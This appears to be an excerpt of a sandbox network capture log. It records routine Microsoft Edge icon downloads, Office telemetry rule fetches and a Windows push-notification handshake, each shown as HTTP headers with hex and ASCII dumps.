2024-11-23 18:52:58 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:59 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:58 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 262987a9-101e-003c-042a-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185258Z-174c587ffdf6b487hC1TEBydsn000000035000000000qwwq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:59 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49899	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:58 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:59 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:58 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: b89fa148-901e-002d-4fd8-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185258Z-174c587ffdfdwxdvhC1TEB1c4n000000037000000000fg64 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:59 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49903	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:58 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 53 49 56 49 59 57 50 30 6b 75 70 69 76 71 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 34 38 63 61 39 39 37 62 36 39 32 61 65 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: NSIVIYWP0kupivqS.1Context: 8948ca997b692ae2
2024-11-23 18:52:58 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 18:52:58 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 53 49 56 49 59 57 50 30 6b 75 70 69 76 71 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 34 38 63 61 39 39 37 62 36 39 32 61 65 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: NSIVIYWP0kupivqS.2Context: 8948ca997b692ae2<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-23 18:52:58 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4e 53 49 56 49 59 57 50 30 6b 75 70 69 76 71 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 34 38 63 61 39 39 37 62 36 39 32 61 65 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: NSIVIYWP0kupivqS.3Context: 8948ca997b692ae2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 18:52:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 18:52:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 46 65 44 68 4f 50 36 49 30 43 69 47 33 7a 32 77 39 4b 4f 2f 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: GFeDhOP6I0CiG3z2w9KO/g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:59 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: dd6cf878-401e-0067-68b9-3b09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185300Z-15b8b599d88cn5thhC1TEBqxkn000000039g000000003kvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:59 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: dc29ec34-f01e-0052-689c-3d9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185300Z-174c587ffdf59vqchC1TEByk6800000003cg00000000np6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:00 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:01 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9d90d28-901e-00a0-5d63-3b6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185301Z-178bfbc474bvjk8shC1NYC83ns00000004sg000000004kmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:01 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:00 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:00 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185300Z-174c587ffdf59vqchC1TEByk6800000003cg00000000np6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:00 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:00 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:00 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185300Z-178bfbc474bh5zbqhC1NYCkdug00000004u0000000008ss4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:00 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49915	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:00 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:53:01 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:00 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3a2cfd47-101e-0073-16d6-3d18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185300Z-178bfbc474bnwsh4hC1NYC2ubs000000051g000000000cpt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 18:53:01 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49914	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:00 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:53:01 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:01 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9d84fa81-201e-0034-192a-3dc7af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185301Z-178bfbc474bpscmfhC1NYCfc2c00000003h00000000030bd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 18:53:01 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
